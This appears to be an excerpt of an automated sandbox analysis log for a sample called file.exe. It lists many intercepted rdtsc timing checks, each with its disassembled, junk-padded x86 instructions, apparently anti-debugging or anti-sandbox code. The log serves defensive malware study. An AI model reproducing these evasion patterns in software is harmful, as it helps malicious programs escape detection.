Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0956 second address: 4AB09A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA6EF503290h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx ebx, cx 0x00000015 pushfd 0x00000016 jmp 00007FA67D0802A6h 0x0000001b sub ecx, 67F1A458h 0x00000021 jmp 00007FA67D08029Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB09A2 second address: 4AB0A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b jmp 00007FA67C81A86Eh 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 jmp 00007FA67C81A871h 0x00000018 and ecx, 1Fh 0x0000001b pushad 0x0000001c push eax 0x0000001d mov dh, 85h 0x0000001f pop eax 0x00000020 call 00007FA67C81A875h 0x00000025 mov ecx, 625C4BB7h 0x0000002a pop eax 0x0000002b popad 0x0000002c ror eax, cl 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push esi 0x00000032 pop edx 0x00000033 mov esi, 74E190A7h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A14 second address: 4AB0A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A19 second address: 4AB0A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 leave 0x00000008 jmp 00007FA67C81A872h 0x0000000d retn 0004h 0x00000010 nop 0x00000011 mov esi, eax 0x00000013 lea eax, dword ptr [ebp-08h] 0x00000016 xor esi, dword ptr [006B2014h] 0x0000001c push eax 0x0000001d push eax 0x0000001e push eax 0x0000001f lea eax, dword ptr [ebp-10h] 0x00000022 push eax 0x00000023 call 00007FA680C5B1DCh 0x00000028 push FFFFFFFEh 0x0000002a pushad 0x0000002b pushad 0x0000002c jmp 00007FA67C81A86Ch 0x00000031 mov ch, 30h 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 mov dx, D650h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A4F second address: 4AB0AC5 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop eax 0x00000009 jmp 00007FA67D0802A0h 0x0000000e ret 0x0000000f nop 0x00000010 push eax 0x00000011 call 00007FA6814C0C38h 0x00000016 mov edi, edi 0x00000018 jmp 00007FA67D0802A0h 0x0000001d xchg eax, ebp 0x0000001e jmp 00007FA67D0802A0h 0x00000023 push eax 0x00000024 jmp 00007FA67D08029Bh 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b call 00007FA67D0802A4h 0x00000030 call 00007FA67D0802A2h 0x00000035 pop esi 0x00000036 pop edx 0x00000037 push ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60071 second address: 4A60123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FA67C81A86Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov edx, 69EBFB14h 0x00000016 jmp 00007FA67C81A86Dh 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d jmp 00007FA67C81A86Eh 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FA67C81A86Eh 0x0000002a add ah, FFFFFFF8h 0x0000002d jmp 00007FA67C81A86Bh 0x00000032 popfd 0x00000033 mov dh, cl 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007FA67C81A872h 0x0000003c xchg eax, ebx 0x0000003d jmp 00007FA67C81A870h 0x00000042 mov ebx, dword ptr [ebp+10h] 0x00000045 jmp 00007FA67C81A870h 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c mov bh, al 0x0000004e push eax 0x0000004f push edx 0x00000050 push edi 0x00000051 pop eax 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60123 second address: 4A60139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA67D08029Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60139 second address: 4A6013F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6013F second address: 4A60145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60145 second address: 4A6019F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FA67C81A86Dh 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FA67C81A871h 0x0000001b and si, A816h 0x00000020 jmp 00007FA67C81A871h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6019F second address: 4A601C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, C552h 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov esi, dword ptr [ebp+08h] 0x00000010 jmp 00007FA67D0802A2h 0x00000015 xchg eax, edi 0x00000016 pushad 0x00000017 mov cl, 76h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A601C8 second address: 4A601D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A601D7 second address: 4A60238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA67D08029Bh 0x00000013 xor ah, 0000000Eh 0x00000016 jmp 00007FA67D0802A9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FA67D0802A0h 0x00000022 and al, FFFFFF88h 0x00000025 jmp 00007FA67D08029Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60238 second address: 4A60250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67C81A874h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60250 second address: 4A602BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA67D0802A4h 0x00000014 add ch, 00000048h 0x00000017 jmp 00007FA67D08029Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FA67D0802A8h 0x00000023 or al, FFFFFFA8h 0x00000026 jmp 00007FA67D08029Bh 0x0000002b popfd 0x0000002c popad 0x0000002d je 00007FA6EF54E5FAh 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602BD second address: 4A602C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602C1 second address: 4A602C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602C7 second address: 4A602E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA67C81A86Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602E3 second address: 4A602EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602EA second address: 4A60366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FA6EECE8BA0h 0x0000000d jmp 00007FA67C81A879h 0x00000012 mov edx, dword ptr [esi+44h] 0x00000015 pushad 0x00000016 pushad 0x00000017 mov edi, eax 0x00000019 call 00007FA67C81A876h 0x0000001e pop eax 0x0000001f popad 0x00000020 mov bh, C7h 0x00000022 popad 0x00000023 or edx, dword ptr [ebp+0Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007FA67C81A875h 0x00000031 add cl, FFFFFF96h 0x00000034 jmp 00007FA67C81A871h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60366 second address: 4A603D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 call 00007FA67D0802A3h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test edx, 61000000h 0x00000014 jmp 00007FA67D08029Fh 0x00000019 jne 00007FA6EF54E587h 0x0000001f jmp 00007FA67D0802A6h 0x00000024 test byte ptr [esi+48h], 00000001h 0x00000028 jmp 00007FA67D0802A0h 0x0000002d jne 00007FA6EF54E570h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603D3 second address: 4A603D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603D7 second address: 4A603DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603DD second address: 4A603E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603E3 second address: 4A60409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test bl, 00000007h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA67D0802A9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5081D second address: 4A50821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50821 second address: 4A50836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50836 second address: 4A508C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA67C81A877h 0x00000009 adc esi, 79F24DBEh 0x0000000f jmp 00007FA67C81A879h 0x00000014 popfd 0x00000015 call 00007FA67C81A870h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FA67C81A86Ch 0x00000026 sub si, 5DE8h 0x0000002b jmp 00007FA67C81A86Bh 0x00000030 popfd 0x00000031 mov ebx, ecx 0x00000033 popad 0x00000034 mov dword ptr [esp], ebp 0x00000037 jmp 00007FA67C81A872h 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508C5 second address: 4A508C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508C9 second address: 4A508CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508CF second address: 4A508DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67D08029Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508DE second address: 4A508E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508E2 second address: 4A50912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b jmp 00007FA67D0802A5h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA67D08029Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50912 second address: 4A509B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA67C81A871h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 push esi 0x00000012 mov bh, 5Dh 0x00000014 pop esi 0x00000015 mov bx, DA98h 0x00000019 popad 0x0000001a push esp 0x0000001b pushad 0x0000001c mov esi, 5679AF29h 0x00000021 pushfd 0x00000022 jmp 00007FA67C81A876h 0x00000027 xor ecx, 516684F8h 0x0000002d jmp 00007FA67C81A86Bh 0x00000032 popfd 0x00000033 popad 0x00000034 mov dword ptr [esp], esi 0x00000037 pushad 0x00000038 push eax 0x00000039 mov ah, bl 0x0000003b pop esi 0x0000003c mov ax, di 0x0000003f popad 0x00000040 mov esi, dword ptr [ebp+08h] 0x00000043 pushad 0x00000044 call 00007FA67C81A875h 0x00000049 mov ah, 0Eh 0x0000004b pop edi 0x0000004c call 00007FA67C81A86Ah 0x00000051 mov ax, C391h 0x00000055 pop ecx 0x00000056 popad 0x00000057 mov ebx, 00000000h 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509B8 second address: 4A509C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B26 second address: 4A50B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FA67C81A86Eh 0x0000000f push dword ptr [ebp+14h] 0x00000012 jmp 00007FA67C81A870h 0x00000017 push dword ptr [ebp+10h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA67C81A877h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B7D second address: 4A50B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DC4 second address: 4A60DCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DCA second address: 4A60DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DD0 second address: 4A60DD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60B31 second address: 4A60BA7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA67D08029Eh 0x00000008 jmp 00007FA67D0802A5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushfd 0x00000011 jmp 00007FA67D0802A0h 0x00000016 adc eax, 1E36C438h 0x0000001c jmp 00007FA67D08029Bh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 mov bx, 6C5Ah 0x00000029 mov cx, di 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e jmp 00007FA67D08029Dh 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FA67D08029Dh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60BA7 second address: 4A60BCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA67C81A86Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60BCC second address: 4A60BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60BD2 second address: 4A60BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0DF2 second address: 4AE0E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67D0802A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E0A second address: 4AE0E22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E22 second address: 4AE0E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E26 second address: 4AE0E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E2C second address: 4AE0E99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA67D0802A1h 0x00000011 and si, A306h 0x00000016 jmp 00007FA67D0802A1h 0x0000001b popfd 0x0000001c mov di, ax 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 mov edi, eax 0x00000024 push ecx 0x00000025 mov ax, bx 0x00000028 pop edi 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007FA67D08029Ah 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FA67D0802A7h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE028A second address: 4AE0299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67C81A86Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70121 second address: 4A70134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70134 second address: 4A7013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7013A second address: 4A7013E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7013E second address: 4A7015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA67C81A86Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7015F second address: 4A70165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70165 second address: 4A7019B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A874h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA67C81A870h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ch, bh 0x00000016 mov eax, 00CFD1B5h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0492 second address: 4AE0498 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0498 second address: 4AE04D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 call 00007FA67C81A878h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FA67C81A870h 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE04D0 second address: 4AE053E instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 4D7BEDAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 3AA3B5CBh 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 jmp 00007FA67D08029Eh 0x00000016 push dword ptr [ebp+0Ch] 0x00000019 pushad 0x0000001a pushad 0x0000001b call 00007FA67D08029Ch 0x00000020 pop ecx 0x00000021 movsx edi, si 0x00000024 popad 0x00000025 popad 0x00000026 push dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a push eax 0x0000002b call 00007FA67D08029Bh 0x00000030 pop esi 0x00000031 pop edi 0x00000032 call 00007FA67D0802A6h 0x00000037 mov edx, esi 0x00000039 pop ecx 0x0000003a popad 0x0000003b call 00007FA67D080299h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE053E second address: 4AE0567 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 4D47h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f call 00007FA67C81A879h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0567 second address: 4AE05C1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA67D0802A1h 0x00000008 and si, 3896h 0x0000000d jmp 00007FA67D0802A1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 call 00007FA67D0802A4h 0x00000026 pop eax 0x00000027 jmp 00007FA67D08029Bh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05C1 second address: 4AE05D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67C81A874h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05D9 second address: 4AE05E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05E9 second address: 4AE05ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05ED second address: 4AE05F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05F3 second address: 4AE05F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80623 second address: 4A80629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
